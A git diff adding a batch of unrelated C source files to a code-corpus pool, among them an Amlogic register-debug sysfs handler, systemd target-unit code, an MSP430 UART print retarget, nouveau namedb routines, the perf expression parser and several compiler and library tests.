+        const char *fontsize_string = getenv("FONT_SIZE");
+        const char *width_string = getenv("WINDOW_WIDTH");
+        const char *height_string = getenv("WINDOW_HEIGHT");
+        if (width_string && (new_width = strtol(width_string, NULL, 10)) > 0)
+            width = new_width;
+        if (height_string && (new_height = strtol(height_string, NULL, 10)) > 0)
+            height = new_height;
+        if (fontsize_string && (new_fontsize = strtol(fontsize_string, NULL, 10)) > 0)
+            fontsize = new_fontsize;
+
+        atexit(cleanupGraphics);
+
+        if (initGraphics(WINDOW_TITLE, width, height, fontsize) != 0)
+            exit(1);
+
+        /* Collect argv for the subprocess */
+        char *sub_argv[argc];
+        sub_argv[0] = argv[1];
+        for (int i = 1, j = 2; j < argc; i++, j++)
+            sub_argv[i] = argv[j];
+        sub_argv[argc - 1] = NULL;
+
+        /* Attempt to debug the process given in argv[1] */
+        if (visualDebug(g_window, g_renderer, g_font, 18, 10, argv[1], sub_argv) < 0) {
+            fprintf(stderr, "Errors occured while debugging, debugging was forced to discontinue.\n");
+            exit(1);
+        }
+    } else {
+        fprintf(stderr, "Need at least one argument\n");
+        exit(1);
+    }
+}
diff --git a/pool/shard001/C/0024809_tvin_debug.c b/pool/shard001/C/0024809_tvin_debug.c
new file mode 100644
index 0000000000000000000000000000000000000000..38408addeaa4176890aa7ecf0fec925f73a14cf7
--- /dev/null
+++ b/pool/shard001/C/0024809_tvin_debug.c
@@ -0,0 +1,156 @@
+/*
+ * TVIN attribute debug
+ *
+ * Author: Bobby Yang <bo.yang@amlogic.com>
+ *
+ * Copyright (C) 2010 Amlogic Inc.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+/* Standard Linux Headers */
+#include <linux/string.h>
+#include <linux/kernel.h>
+
+/* Amlogic Headers */
+#include <mach/am_regs.h>
+
+/* Local Headers */
+#include "tvin_debug.h"
+
+
+static void tvin_dbg_usage(void)
+{
+    pr_info("Usage: rc address or wc address value\n");
+    pr_info("Notes: address in hexadecimal and prefix 0x\n");
+    return;
+}
+
+
+/*
+* rc 0x12345678
+* rw 0x12345678 1234
+* adress must be hexadecimal and prefix with ox.
+*/
+ssize_t vdin_dbg_store(struct device *dev,
+    struct device_attribute *attr, const char *buf, size_t count)
+{
+
+    char strcmd[16];
+    char straddr[10];
+    char strval[32];
+    int i = 0;
+    int j = 0;
+    unsigned long addr;
+    unsigned int value=0;
+    unsigned int retval;
+
+
+    /* get parameter command string */
+    j = 0;
+    while( (i < count) && (buf[i]) && (buf[i] != ',') && (buf[i] != ' ') && (buf[i] != 10)){
+        strcmd[j] = buf[i];
+        i++;
+        j++;
+    }
+    strcmd[j] = '\0';
+
+    /* ignore */
+    while( (i < count) && (buf[i]) && ((buf[i] ==',') || (buf[i] == ' ') || (buf[i] == 10))){
+        i++;
+    }
+
+    /* check address */
+    if (strncmp(&buf[i], "0x", 2) != 0){
+        pr_info("invalid parameter address\n");
+        tvin_dbg_usage();
+        return 32;
+    }
+
+
+    /* get parameter address string */
+    j = 0;
+    while( (i < count) && (buf[i]) && (buf[i] != ',') && (buf[i] != ' ' && (buf[i] != 10))){
+        straddr[j] = buf[i];
+        i++;
+        j++;
+    }
+    straddr[j] = 0;
+    addr = simple_strtoul(straddr, NULL, 16);       //hex data
+
+    /* rc read cbus */
+    if (strncmp(strcmd, "rc", 2) == 0){
+        retval = READ_CBUS_REG(addr);
+        pr_info("%s: 0x%x --> 0x%x\n", strcmd, addr, retval);
+        return 32;
+    }
+    /* rp read apb */
+    else if (strncmp(strcmd, "rp", 2) == 0){
+        retval = READ_APB_REG(addr);
+        pr_info("%s: 0x%x --> 0x%x\n", strcmd, addr, retval);
+        return 32;
+    }
+    /* wc write cbus */
+    else if (strncmp(strcmd, "wc", 2) == 0){
+        /* get parameter value string*/
+        /* ignore */
+        while( (i < count) && (buf[i]) && ((buf[i] ==',') || (buf[i] == ' ') || (buf[i] == 10))){
+            i++;
+        }
+        if (!buf[i]){
+            pr_info("no parameter value\n");
+            tvin_dbg_usage();
+            return 32;
+        }
+
+        j = 0;
+        while( (i < count) && (buf[i]) && (buf[i] != ',') && (buf[i] != ' ')&& (buf[i] != 10)){
+            strval[j] = buf[i];
+            i++;
+            j++;
+        }
+        strval[j] = '\0';
+        value = simple_strtol(strval, NULL, 16);    //hex data
+
+        WRITE_CBUS_REG(addr, value);
+        pr_info("%s: 0x%x <-- 0x%x\n", strcmd, addr, value);
+        return 32;
+    }
+    /* wp write apb */
+    else if (strncmp(strcmd, "wp", 2) == 0){
+        /* get parameter value string*/
+        /* ignore */
+        while( (i < count) && (buf[i]) && ((buf[i] ==',') || (buf[i] == ' ') || (buf[i] == 10))){
+            i++;
+        }
+        if (!buf[i]){
+            pr_info("no parameter value\n");
+            tvin_dbg_usage();
+            return 32;
+        }
+
+        j = 0;
+        while( (i < count) && (buf[i]) && (buf[i] != ',') && (buf[i] != ' ')&& (buf[i] != 10)){
+            strval[j] = buf[i];
+            i++;
+            j++;
+        }
+        strval[j] = '\0';
+        value = simple_strtol(strval, NULL, 16);    //hex data
+
+        WRITE_APB_REG(addr, value);
+        pr_info("%s: 0x%x <-- 0x%x\n", strcmd, addr, value);
+        return 32;
+    }
+    else{
+        pr_info("invalid parameter\n");
+        tvin_dbg_usage();
+        return 32;
+    }
+
+    return 32;
+}
+
+
diff --git a/pool/shard001/C/0024818_target.c b/pool/shard001/C/0024818_target.c
new file mode 100644
index 0000000000000000000000000000000000000000..e7e4914146fd288db2613d55a4757d3a77de9cf0
--- /dev/null
+++ b/pool/shard001/C/0024818_target.c
@@ -0,0 +1,223 @@
+/* SPDX-License-Identifier: LGPL-2.1+ */
+/***
+  This file is part of systemd.
+
+  Copyright 2010 Lennart Poettering
+***/
+
+#include "dbus-target.h"
+#include "log.h"
+#include "special.h"
+#include "string-util.h"
+#include "unit-name.h"
+#include "unit.h"
+#include "target.h"
+
+static const UnitActiveState state_translation_table[_TARGET_STATE_MAX] = {
+        [TARGET_DEAD] = UNIT_INACTIVE,
+        [TARGET_ACTIVE] = UNIT_ACTIVE
+};
+
+static void target_set_state(Target *t, TargetState state) {
+        TargetState old_state;
+        assert(t);
+
+        old_state = t->state;
+        t->state = state;
+
+        if (state != old_state)
+                log_debug("%s changed %s -> %s",
+                          UNIT(t)->id,
+                          target_state_to_string(old_state),
+                          target_state_to_string(state));
+
+        unit_notify(UNIT(t), state_translation_table[old_state], state_translation_table[state], true);
+}
+
+static int target_add_default_dependencies(Target *t) {
+
+        static const UnitDependency deps[] = {
+                UNIT_REQUIRES,
+                UNIT_REQUISITE,
+                UNIT_WANTS,
+                UNIT_BINDS_TO,
+                UNIT_PART_OF
+        };
+
+        int r;
+        unsigned k;
+
+        assert(t);
+
+        if (!UNIT(t)->default_dependencies)
+                return 0;
+
+        /* Imply ordering for requirement dependencies on target units. Note that when the user created a contradicting
+         * ordering manually we won't add anything in here to make sure we don't create a loop. */
+
+        for (k = 0; k < ELEMENTSOF(deps); k++) {
+                Unit *other;
+                Iterator i;
+                void *v;
+
+                HASHMAP_FOREACH_KEY(v, other, UNIT(t)->dependencies[deps[k]], i) {
+                        r = unit_add_default_target_dependency(other, UNIT(t));
+                        if (r < 0)
+                                return r;
+                }
+        }
+
+        if (unit_has_name(UNIT(t), SPECIAL_SHUTDOWN_TARGET))
+                return 0;
+
+        /* Make sure targets are unloaded on shutdown */
+        return unit_add_two_dependencies_by_name(UNIT(t), UNIT_BEFORE, UNIT_CONFLICTS, SPECIAL_SHUTDOWN_TARGET, NULL, true, UNIT_DEPENDENCY_DEFAULT);
+}
+
+static int target_load(Unit *u) {
+        Target *t = TARGET(u);
+        int r;
+
+        assert(t);
+
+        r = unit_load_fragment_and_dropin(u);
+        if (r < 0)
+                return r;
+
+        /* This is a new unit? Then let's add in some extras */
+        if (u->load_state == UNIT_LOADED) {
+                r = target_add_default_dependencies(t);
+                if (r < 0)
+                        return r;
+        }
+
+        return 0;
+}
+
+static int target_coldplug(Unit *u) {
+        Target *t = TARGET(u);
+
+        assert(t);
+        assert(t->state == TARGET_DEAD);
+
+        if (t->deserialized_state != t->state)
+                target_set_state(t, t->deserialized_state);
+
+        return 0;
+}
+
+static void target_dump(Unit *u, FILE *f, const char *prefix) {
+        Target *t = TARGET(u);
+
+        assert(t);
+        assert(f);
+
+        fprintf(f,
+                "%sTarget State: %s\n",
+                prefix, target_state_to_string(t->state));
+}
+
+static int target_start(Unit *u) {
+        Target *t = TARGET(u);
+        int r;
+
+        assert(t);
+        assert(t->state == TARGET_DEAD);
+
+        r = unit_acquire_invocation_id(u);
+        if (r < 0)
+                return r;
+
+        target_set_state(t, TARGET_ACTIVE);
+        return 1;
+}
+
+static int target_stop(Unit *u) {
+        Target *t = TARGET(u);
+
+        assert(t);
+        assert(t->state == TARGET_ACTIVE);
+
+        target_set_state(t, TARGET_DEAD);
+        return 1;
+}
+
+static int target_serialize(Unit *u, FILE *f, FDSet *fds) {
+        Target *s = TARGET(u);
+
+        assert(s);
+        assert(f);
+        assert(fds);
+
+        unit_serialize_item(u, f, "state", target_state_to_string(s->state));
+        return 0;
+}
+
+static int target_deserialize_item(Unit *u, const char *key, const char *value, FDSet *fds) {
+        Target *s = TARGET(u);
+
+        assert(u);
+        assert(key);
+        assert(value);
+        assert(fds);
+
+        if (streq(key, "state")) {
+                TargetState state;
+
+                state = target_state_from_string(value);
+                if (state < 0)
+                        log_debug("Failed to parse state value %s", value);
+                else
+                        s->deserialized_state = state;
+
+        } else
+                log_debug("Unknown serialization key '%s'", key);
+
+        return 0;
+}
+
+_pure_ static UnitActiveState target_active_state(Unit *u) {
+        assert(u);
+
+        return state_translation_table[TARGET(u)->state];
+}
+
+_pure_ static const char *target_sub_state_to_string(Unit *u) {
+        assert(u);
+
+        return target_state_to_string(TARGET(u)->state);
+}
+
+const UnitVTable target_vtable = {
+        .object_size = sizeof(Target),
+
+        .sections =
+                "Unit\0"
+                "Target\0"
+                "Install\0",
+
+        .load = target_load,
+        .coldplug = target_coldplug,
+
+        .dump = target_dump,
+
+        .start = target_start,
+        .stop = target_stop,
+
+        .serialize = target_serialize,
+        .deserialize_item = target_deserialize_item,
+
+        .active_state = target_active_state,
+        .sub_state_to_string = target_sub_state_to_string,
+
+        .bus_vtable = bus_target_vtable,
+
+        .status_message_formats = {
+                .finished_start_job = {
+                        [JOB_DONE]       = "Reached target %s.",
+                },
+                .finished_stop_job = {
+                        [JOB_DONE]       = "Stopped target %s.",
+                },
+        },
+};
diff --git a/pool/shard001/C/0024823_retarget_print_util.c b/pool/shard001/C/0024823_retarget_print_util.c
new file mode 100644
index 0000000000000000000000000000000000000000..b336c5bb2d3fc83ab37f1ca47915cf4fc5155164
--- /dev/null
+++ b/pool/shard001/C/0024823_retarget_print_util.c
@@ -0,0 +1,52 @@
+/*
+ * retarget_print_util.c
+ *
+ *  Created on: Sep 28, 2017
+ *      Author: Robert.Chapman
+ */
+
+#include <stdio.h>
+#include <msp430.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdarg.h>
+#include <string.h>
+
+void initPrintTarget(void) {
+
+    /* USCI_A3 UART operation */
+    P6SEL1 &= ~(BIT0 | BIT1);
+    P6SEL0 |= (BIT0 | BIT1);
+    /* Put eUSCI in reset */
+    UCA3CTLW0 = UCSWRST;
+    /* CLK = SMCLK */
+    UCA3CTLW0 |= UCSSEL__SMCLK;
+    /* 1000000/115200 = 8.68 */
+    UCA3BRW = 8;
+    /* 1000000/115200 - INT(1000000/115200)=0.68 UCBRSx value = 0xD6 (See UG) */
+    UCA3MCTLW = 0xD600;
+    /* Release from reset */
+    UCA3CTLW0 &= ~UCSWRST;
+}
+
+int fputc(int _c, register FILE *_fp) {
+
+    while (!(UCA3IFG & UCTXIFG));
+    UCA3TXBUF = (unsigned char)_c;
+
+    return ((unsigned char) _c);
+}
+
+int fputs(const char *_ptr, register FILE *_fp) {
+
+    unsigned int i, len;
+
+    len = strlen(_ptr);
+    for (i = 0; i < len; i++) {
+        while (!(UCA3IFG & UCTXIFG));
+        UCA3TXBUF = (unsigned char) _ptr[i];
+    }
+
+    return len;
+}
diff --git a/pool/shard001/C/0024827_namedb.c b/pool/shard001/C/0024827_namedb.c
new file mode 100644
index 0000000000000000000000000000000000000000..6400767c5dba0ad16e3e1f25456411a870426a71
--- /dev/null
+++ b/pool/shard001/C/0024827_namedb.c
@@ -0,0 +1,199 @@
+/*
+ * Copyright 2012 Red Hat Inc.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
+ * THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR
+ * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+ * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+ * OTHER DEALINGS IN THE SOFTWARE.
+ *
+ * Authors: Ben Skeggs
+ */
+#include <core/namedb.h>
+#include <core/gpuobj.h>
+#include <core/handle.h>
+
+static struct nvkm_handle *
+nvkm_namedb_lookup(struct nvkm_namedb *namedb, u32 name)
+{
+	struct nvkm_handle *handle;
+
+	list_for_each_entry(handle, &namedb->list, node) {
+		if (handle->name == name)
+			return handle;
+	}
+
+	return NULL;
+}
+
+static struct nvkm_handle *
+nvkm_namedb_lookup_class(struct nvkm_namedb *namedb, u16 oclass)
+{
+	struct nvkm_handle *handle;
+
+	list_for_each_entry(handle, &namedb->list, node) {
+		if (nv_mclass(handle->object) == oclass)
+			return handle;
+	}
+
+	return NULL;
+}
+
+static struct nvkm_handle *
+nvkm_namedb_lookup_vinst(struct nvkm_namedb *namedb, u64 vinst)
+{
+	struct nvkm_handle *handle;
+
+	list_for_each_entry(handle, &namedb->list, node) {
+		if (nv_iclass(handle->object, NV_GPUOBJ_CLASS)) {
+			if (nv_gpuobj(handle->object)->addr == vinst)
+				return handle;
+		}
+	}
+
+	return NULL;
+}
+
+static struct nvkm_handle *
+nvkm_namedb_lookup_cinst(struct nvkm_namedb *namedb, u32 cinst)
+{
+	struct nvkm_handle *handle;
+
+	list_for_each_entry(handle, &namedb->list, node) {
+		if (nv_iclass(handle->object, NV_GPUOBJ_CLASS)) {
+			if (nv_gpuobj(handle->object)->node &&
+			    nv_gpuobj(handle->object)->node->offset == cinst)
+				return handle;
+		}
+	}
+
+	return NULL;
+}
+
+int
+nvkm_namedb_insert(struct nvkm_namedb *namedb, u32 name,
+		   struct nvkm_object *object,
+		   struct nvkm_handle *handle)
+{
+	int ret = -EEXIST;
+	write_lock_irq(&namedb->lock);
+	if (!nvkm_namedb_lookup(namedb, name)) {
+		nvkm_object_ref(object, &handle->object);
+		handle->namedb = namedb;
+		list_add(&handle->node, &namedb->list);
+		ret = 0;
+	}
+	write_unlock_irq(&namedb->lock);
+	return ret;
+}
+
+void
+nvkm_namedb_remove(struct nvkm_handle *handle)
+{
+	struct nvkm_namedb *namedb = handle->namedb;
+	struct nvkm_object *object = handle->object;
+	write_lock_irq(&namedb->lock);
+	list_del(&handle->node);
+	write_unlock_irq(&namedb->lock);
+	nvkm_object_ref(NULL, &object);
+}
+
+struct nvkm_handle *
+nvkm_namedb_get(struct nvkm_namedb *namedb, u32 name)
+{
+	struct nvkm_handle *handle;
+	read_lock(&namedb->lock);
+	handle = nvkm_namedb_lookup(namedb, name);
+	if (handle == NULL)
+		read_unlock(&namedb->lock);
+	return handle;
+}
+
+struct nvkm_handle *
+nvkm_namedb_get_class(struct nvkm_namedb *namedb, u16 oclass)
+{
+	struct nvkm_handle *handle;
+	read_lock(&namedb->lock);
+	handle = nvkm_namedb_lookup_class(namedb, oclass);
+	if (handle == NULL)
+		read_unlock(&namedb->lock);
+	return handle;
+}
+
+struct nvkm_handle *
+nvkm_namedb_get_vinst(struct nvkm_namedb *namedb, u64 vinst)
+{
+	struct nvkm_handle *handle;
+	read_lock(&namedb->lock);
+	handle = nvkm_namedb_lookup_vinst(namedb, vinst);
+	if (handle == NULL)
+		read_unlock(&namedb->lock);
+	return handle;
+}
+
+struct nvkm_handle *
+nvkm_namedb_get_cinst(struct nvkm_namedb *namedb, u32 cinst)
+{
+	struct nvkm_handle *handle;
+	read_lock(&namedb->lock);
+	handle = nvkm_namedb_lookup_cinst(namedb, cinst);
+	if (handle == NULL)
+		read_unlock(&namedb->lock);
+	return handle;
+}
+
+void
+nvkm_namedb_put(struct nvkm_handle *handle)
+{
+	if (handle)
+		read_unlock(&handle->namedb->lock);
+}
+
+int
+nvkm_namedb_create_(struct nvkm_object *parent, struct nvkm_object *engine,
+		    struct nvkm_oclass *oclass, u32 pclass,
+		    struct nvkm_oclass *sclass, u64 engcls,
+		    int length, void **pobject)
+{
+	struct nvkm_namedb *namedb;
+	int ret;
+
+	ret = nvkm_parent_create_(parent, engine, oclass, pclass |
+				  NV_NAMEDB_CLASS, sclass, engcls,
+				  length, pobject);
+	namedb = *pobject;
+	if (ret)
+		return ret;
+
+	rwlock_init(&namedb->lock);
+	INIT_LIST_HEAD(&namedb->list);
+	return 0;
+}
+
+int
+_nvkm_namedb_ctor(struct nvkm_object *parent, struct nvkm_object *engine,
+		  struct nvkm_oclass *oclass, void *data, u32 size,
+		  struct nvkm_object **pobject)
+{
+	struct nvkm_namedb *object;
+	int ret;
+
+	ret = nvkm_namedb_create(parent, engine, oclass, 0, NULL, 0, &object);
+	*pobject = nv_object(object);
+	if (ret)
+		return ret;
+
+	return 0;
+}
diff --git a/pool/shard001/C/0024829_ngc.c b/pool/shard001/C/0024829_ngc.c
new file mode 100644
index 0000000000000000000000000000000000000000..fdc223087f9b23524cb73b479b31575a5757e93b
--- /dev/null
+++ b/pool/shard001/C/0024829_ngc.c
@@ -0,0 +1,65 @@
+/* { dg-do run } */
+/* { dg-options "-O2 --save-temps -fno-inline" } */
+
+extern void abort (void);
+typedef unsigned int u32;
+
+u32
+ngc_si (u32 a, u32 b, u32 c, u32 d)
+{
+  a = -b - (c < d);
+  return a;
+}
+
+typedef unsigned long long u64;
+
+u64
+ngc_si_tst (u64 a, u32 b, u32 c, u32 d)
+{
+  a = -b - (c < d);
+  return a;
+}
+
+u64
+ngc_di (u64 a, u64 b, u64 c, u64 d)
+{
+  a = -b - (c < d);
+  return a;
+}
+
+int
+main ()
+{
+  int x;
+  u64 y;
+
+  x = ngc_si (29, 4, 5, 4);
+  if (x != -4)
+    abort ();
+
+  x = ngc_si (1024, 2, 20, 13);
+  if (x != -2)
+    abort ();
+
+  y = ngc_si_tst (0x130000029ll, 32, 50, 12);
+  if (y != 0xffffffe0)
+    abort ();
+
+  y = ngc_si_tst (0x5000500050005ll, 21, 2, 14);
+  if (y != 0xffffffea)
+    abort ();
+
+  y = ngc_di (0x130000029ll, 0x320000004ll, 0x505050505ll, 0x123123123ll);
+  if (y != 0xfffffffcdffffffc)
+    abort ();
+
+  y = ngc_di (0x5000500050005ll,
+	      0x2111211121112ll, 0x0000000002020ll, 0x1414575046477ll);
+  if (y != 0xfffdeeedeeedeeed)
+    abort ();
+
+  return 0;
+}
+
+/* { dg-final { scan-assembler-times "ngc\tw\[0-9\]+, w\[0-9\]+" 2 } } */
+/* { dg-final { scan-assembler-times "ngc\tx\[0-9\]+, x\[0-9\]+" 1 } } */
diff --git a/pool/shard001/C/0024834_expr.c b/pool/shard001/C/0024834_expr.c
new file mode 100644
index 0000000000000000000000000000000000000000..f64ab91c432ba7c240c6c9df3f66469b7eee3925
--- /dev/null
+++ b/pool/shard001/C/0024834_expr.c
@@ -0,0 +1,131 @@
+// SPDX-License-Identifier: GPL-2.0
+#include <stdbool.h>
+#include <assert.h>
+#include "expr.h"
+#include "expr-bison.h"
+#include "expr-flex.h"
+#include <linux/kernel.h>
+
+#ifdef PARSER_DEBUG
+extern int expr_debug;
+#endif
+
+static size_t key_hash(const void *key, void *ctx __maybe_unused)
+{
+	const char *str = (const char *)key;
+	size_t hash = 0;
+
+	while (*str != '\0') {
+		hash *= 31;
+		hash += *str;
+		str++;
+	}
+	return hash;
+}
+
+static bool key_equal(const void *key1, const void *key2,
+		    void *ctx __maybe_unused)
+{
+	return !strcmp((const char *)key1, (const char *)key2);
+}
+
+/* Caller must make sure id is allocated */
+int expr__add_id(struct expr_parse_ctx *ctx, const char *name, double val)
+{
+	double *val_ptr = NULL, *old_val = NULL;
+	char *old_key = NULL;
+	int ret;
+
+	if (val != 0.0) {
+		val_ptr = malloc(sizeof(double));
+		if (!val_ptr)
+			return -ENOMEM;
+		*val_ptr = val;
+	}
+	ret = hashmap__set(&ctx->ids, name, val_ptr,
+			   (const void **)&old_key, (void **)&old_val);
+	free(old_key);
+	free(old_val);
+	return ret;
+}
+
+int expr__get_id(struct expr_parse_ctx *ctx, const char *id, double *val_ptr)
+{
+	double *data;
+
+	if (!hashmap__find(&ctx->ids, id, (void **)&data))
+		return -1;
+	*val_ptr = (data == NULL) ?  0.0 : *data;
+	return 0;
+}
+
+void expr__ctx_init(struct expr_parse_ctx *ctx)
+{
+	hashmap__init(&ctx->ids, key_hash, key_equal, NULL);
+}
+
+void expr__ctx_clear(struct expr_parse_ctx *ctx)
+{
+	struct hashmap_entry *cur;
+	size_t bkt;
+
+	hashmap__for_each_entry((&ctx->ids), cur, bkt) {
+		free((char *)cur->key);
+		free(cur->value);
+	}
+	hashmap__clear(&ctx->ids);
+}
+
+static int
+__expr__parse(double *val, struct expr_parse_ctx *ctx, const char *expr,
+	      int start, int runtime)
+{
+	struct expr_scanner_ctx scanner_ctx = {
+		.start_token = start,
+		.runtime = runtime,
+	};
+	YY_BUFFER_STATE buffer;
+	void *scanner;
+	int ret;
+
+	ret = expr_lex_init_extra(&scanner_ctx, &scanner);
+	if (ret)
+		return ret;
+
+	buffer = expr__scan_string(expr, scanner);
+
+#ifdef PARSER_DEBUG
+	expr_debug = 1;
+	expr_set_debug(1, scanner);
+#endif
+
+	ret = expr_parse(val, ctx, scanner);
+
+	expr__flush_buffer(buffer, scanner);
+	expr__delete_buffer(buffer, scanner);
+	expr_lex_destroy(scanner);
+	return ret;
+}
+
+int expr__parse(double *final_val, struct expr_parse_ctx *ctx,
+		const char *expr, int runtime)
+{
+	return __expr__parse(final_val, ctx, expr, EXPR_PARSE, runtime) ? -1 : 0;
+}
+
+int expr__find_other(const char *expr, const char *one,
+		     struct expr_parse_ctx *ctx, int runtime)
+{
+	double *old_val = NULL;
+	char *old_key = NULL;
+	int ret = __expr__parse(NULL, ctx, expr, EXPR_OTHER, runtime);
+
+	if (one) {
+		hashmap__delete(&ctx->ids, one,
+				(const void **)&old_key, (void **)&old_val);
+		free(old_key);
+		free(old_val);
+	}
+
+	return ret;
+}
diff --git a/pool/shard001/C/0024837_s1ap_eNB_overload.c b/pool/shard001/C/0024837_s1ap_eNB_overload.c
new file mode 100644
index 0000000000000000000000000000000000000000..7ecc8f42c73d74ba3e393b1c6ae2f7f4c8b6dffd
--- /dev/null
+++ b/pool/shard001/C/0024837_s1ap_eNB_overload.c
@@ -0,0 +1,112 @@
+/*******************************************************************************
+    OpenAirInterface
+    Copyright(c) 1999 - 2014 Eurecom
+
+    OpenAirInterface is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+
+    OpenAirInterface is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with OpenAirInterface.The full GNU General Public License is
+   included in this distribution in the file called "COPYING". If not,
+   see <http://www.gnu.org/licenses/>.
+
+  Contact Information
+  OpenAirInterface Admin: openair_admin@eurecom.fr
+  OpenAirInterface Tech : openair_tech@eurecom.fr
+  OpenAirInterface Dev  : openair4g-devel@eurecom.fr
+
+  Address      : Eurecom, Compus SophiaTech 450, route des chappes, 06451 Biot, France.
+
+ *******************************************************************************/
+
+/*! \file s1ap_eNB_overload.c
+ * \brief s1ap procedures for overload messages within eNB
+ * \author Sebastien ROUX <sebastien.roux@eurecom.fr>
+ * \date 2012
+ * \version 0.1
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+
+#include "intertask_interface.h"
+
+#include "s1ap_common.h"
+#include "s1ap_ies_defs.h"
+#include "s1ap_eNB_defs.h"
+
+#include "s1ap_eNB.h"
+#include "s1ap_eNB_ue_context.h"
+#include "s1ap_eNB_encoder.h"
+#include "s1ap_eNB_overload.h"
+#include "s1ap_eNB_management_procedures.h"
+
+#include "assertions.h"
+
+int s1ap_eNB_handle_overload_start(uint32_t               assoc_id,
+                                   uint32_t               stream,
+                                   struct s1ap_message_s *message_p)
+{
+  S1ap_OverloadStartIEs_t *overload_start_p;
+  s1ap_eNB_mme_data_t     *mme_desc_p;
+
+  DevAssert(message_p != NULL);
+
+  overload_start_p = &message_p->msg.s1ap_OverloadStartIEs;
+
+  DevCheck(overload_start_p->overloadResponse.present ==
+           S1ap_OverloadResponse_PR_overloadAction,
+           S1ap_OverloadResponse_PR_overloadAction, 0, 0);
+
+  /* Non UE-associated signalling -> stream 0 */
+  DevCheck(stream == 0, stream, 0, 0);
+
+  if ((mme_desc_p = s1ap_eNB_get_MME(NULL, assoc_id, 0)) == NULL) {
+    /* No MME context associated */
+    return -1;
+  }
+
+  /* Mark the MME as overloaded and set the overload state according to
+   * the value received.
+   */
+  mme_desc_p->state = S1AP_ENB_OVERLOAD;
+  mme_desc_p->overload_state =
+    overload_start_p->overloadResponse.choice.overloadAction;
+
+  return 0;
+}
+
+int s1ap_eNB_handle_overload_stop(uint32_t               assoc_id,
+                                  uint32_t               stream,
+                                  struct s1ap_message_s *message_p)
+{
+  /* We received Overload stop message, meaning that the MME is no more
+   * overloaded. This is an empty message, with only message header and no
+   * Information Element.
+   */
+
+  DevAssert(message_p != NULL);
+
+  s1ap_eNB_mme_data_t *mme_desc_p;
+
+  /* Non UE-associated signalling -> stream 0 */
+  DevCheck(stream == 0, stream, 0, 0);
+
+  if ((mme_desc_p = s1ap_eNB_get_MME(NULL, assoc_id, 0)) == NULL) {
+    /* No MME context associated */
+    return -1;
+  }
+
+  mme_desc_p->state = S1AP_ENB_STATE_CONNECTED;
+  mme_desc_p->overload_state = S1AP_NO_OVERLOAD;
+  return 0;
+}
diff --git a/pool/shard001/C/0024838_ReplaceNullKey.c b/pool/shard001/C/0024838_ReplaceNullKey.c
new file mode 100644
index 0000000000000000000000000000000000000000..29531b4300f51ff676011cda04983003d8e77a7a
--- /dev/null
+++ b/pool/shard001/C/0024838_ReplaceNullKey.c
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2007-2009 Daniel Prevost <dprevost@photonsoftware.org>
+ *
+ * This file is part of Photon (photonsoftware.org).
+ *
+ * This file may be distributed and/or modified under the terms of the
+ * GNU General Public License version 2 or version 3 as published by the 
+ * Free Software Foundation and appearing in the file COPYING.GPL2 and 
+ * COPYING.GPL3 included in the packaging of this software.
+ *
+ * Licensees holding a valid Photon Commercial license can use this file 
+ * in accordance with the terms of their license.
+ *
+ * This software is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+ */
+
+/* --+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+-- */
+
+#include "hashMapTest.h"
+
+const bool expectedToPass = false;
+
+/* --+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+-- */
+
+int main()
+{
+#if defined(USE_DBC)
+   psonFastMap * pHashMap;
+   psonSessionContext context;
+   bool ok;
+   psonTxStatus status;
+   char * data1 = "my data1";
+   char * data2 = "my data2";
+   char * key  = "my key";
+   psoObjectDefinition def = { PSO_FAST_MAP, 0, 0, 0 };
+   psonKeyDefinition keyDef;
+   psonDataDefinition fields;
+   
+   pHashMap = initHashMapTest( expectedToPass, &context );
+
+   psonTxStatusInit( &status, SET_OFFSET( context.pTransaction ) );
+   
+   ok = psonFastMapInit( pHashMap, 0, 1, 0, &status, 4, "Map1", 
+                         SET_OFFSET(pHashMap), &def, &keyDef, 
+                         &fields, &context );
+   if ( ok != true ) {
+      ERROR_EXIT( expectedToPass, &context.errorHandler, ; );
+   }
+   
+   ok = psonFastMapInsert( pHashMap,
+                           (const void *) key,
+                           6,
+                           (const void *) data1,
+                           strlen(data1),
+                           NULL,
+                           &context );
+   if ( ok != true ) {
+      ERROR_EXIT( expectedToPass, &context.errorHandler, ; );
+   }
+   
+   ok = psonFastMapReplace( pHashMap,
+                            NULL,
+                            6,
+                            (const void *) data2,
+                            strlen(data2),
+                            NULL,
+                            &context );
+
+   ERROR_EXIT( expectedToPass, NULL, ; );
+#else
+   return 1;
+#endif
+}
+
+/* --+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+-- */
